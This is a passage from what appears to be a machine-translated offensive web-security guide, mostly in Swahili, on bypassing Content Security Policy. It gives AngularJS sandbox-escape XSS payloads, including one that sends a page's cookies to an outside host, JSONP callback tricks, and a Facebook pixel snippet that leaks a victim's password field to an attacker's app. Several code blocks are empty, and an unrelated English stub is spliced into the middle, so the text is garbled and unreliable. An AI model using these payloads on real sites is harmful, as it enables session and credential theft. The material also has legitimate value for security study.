{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
Zaidi [**payloads kutoka kwenye andiko hili**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
![](x)
```
#### Kutumia www.google.com kwa ajili ya kurejeleza wazi
URL ifuatayo inarejelea kwenye example.com (kutoka [hapa](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
### Vipindi vya Tatu vya Nje + JSONP
Inawezekana kutumia Google Apps Script kupokea habari kwenye ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Katika hali kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa fulani ambacho kimeorodheshwa kwenye orodha nyeupe inaweza kukiukwa kwa kutumia JSONP. Vituo vya JSONP huruhusu njia za kurejelea zisizo salama ambazo huruhusu mshambuliaji kutekeleza XSS, mzigo wa kazi:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **inaendelea kutumia JSONP endpoints kwa kuzidi kwa CSP kwenye tovuti tofauti.**
Ugunduzi sawa utatokea ikiwa **endpoint iliyosadikika ina Open Redirect** kwa sababu ikiwa endpoint ya awali inasadikika, maelekezo yanasadikika.
### Mabaya ya Tatu
Kama ilivyoelezwa katika [chapisho lifuatalo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna uwanja wengi wa tatu, ambao huenda ukaruhusiwa mahali fulani katika CSP, unaweza kutumika kwa kuchukua data au kutekeleza nambari ya JavaScript. Baadhi ya watoa huduma wa tatu hawa ni:
| Entiti | Uwanja Ulioruhusiwa | Uwezo |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Ikiwa unapata uwanja wowote ulioruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuzidi CSP kwa kusajili kwenye huduma ya tatu na, au kuchukua data kwenda kwenye huduma hiyo au kutekeleza nambari.
Kwa mfano, ikiwa unapata CSP ifuatayo:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
# CSP Bypass Techniques
## Introduction
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.
In this section, we will explore various techniques to bypass CSP and achieve successful exploitation.
## Table of Contents
- [Bypassing CSP using `unsafe-inline`](bypassing-csp-unsafe-inline.md)
- [Bypassing CSP using `unsafe-eval`](bypassing-csp-unsafe-eval.md)
- [Bypassing CSP using Data URI](bypassing-csp-data-uri.md)
- [Bypassing CSP using Trusted Types](bypassing-csp-trusted-types.md)
Stay tuned for more updates on CSP bypass techniques!
```
Content-Security-Policy: connect-src www.facebook.com;
```
Unapaswa kuweza kuchukua data, kama ilivyokuwa daima imefanywa na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Katika kesi hii, unafuata hatua hizi kuu:
1. Unda akaunti ya Facebook Developer hapa.
2. Unda programu mpya ya "Facebook Login" na chagua "Tovuti".
3. Nenda kwa "Mipangilio -> Msingi" na pata "Kitambulisho cha Programu"
4. Kwenye tovuti lengwa unayotaka kuchukua data kutoka, unaweza kuchukua data moja kwa moja kwa kutumia kifaa cha Facebook SDK "fbq" kupitia "tukio la desturi" na mzigo wa data.
5. Nenda kwa "Meneja wa Matukio ya Programu" yako na chagua programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana kwenye URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Chagua kichupo "Matukio ya Majaribio" kuona matukio yanayotumwa na tovuti "yako".
Kisha, upande wa mwathiriwa, tekeleza nambari ifuatayo kuanzisha pikseli ya kufuatilia ya Facebook ili ielekeze kwenye akaunti ya Facebook ya muundaji wa mshambuliaji na kutuma tukio la desturi kama hili:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Kuhusu uwanja wa tatu saba uliotajwa katika jedwali lililopita, kuna njia nyingine nyingi unazoweza kuzitumia vibaya. Tazama [chapisho la blogi](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) hapo awali kwa maelezo zaidi kuhusu matumizi mabaya ya uwanja wa tatu.
### Kupitia RPO (Relative Path Overwrite)
Mbali na mwelekeo uliotajwa hapo juu wa kuzidisha vikwazo vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) inayoweza kutumika kwenye baadhi ya seva.
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kuzidishwa kama ifuatavyo:
```html
```
Kivinjari itaingiza hatimaye `https://example.com/scripts/angular/angular.js`.
Hii inafanya kazi kwa sababu kwa kivinjari, unapakia faili iliyoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inazingatia CSP.
Kwa hivyo, wataidecode, wakiiomba kwa ufanisi `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
Kwa **kutumia hitilafu hii katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kukiukwa**.
Suluhisho ni kutotambua `%2f` kama `/` upande wa seva, kuhakikisha tafsiri thabiti kati ya kivinjari na seva ili kuepuka shida hii.
Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Utekelezaji wa JS wa Iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### **base-uri** iliyopotea
Ikiwa mwelekeo wa **base-uri** hauko, unaweza kutumia kufanya [**injini ya alama ya kuteleza**](../dangling-markup-html-scriptless-injection/).
Zaidi ya hayo, ikiwa **ukurasa unapakia script kwa kutumia njia ya kihusishi** (kama `
ng-app"ng-csp ng-click=$event.view.alert(1337)>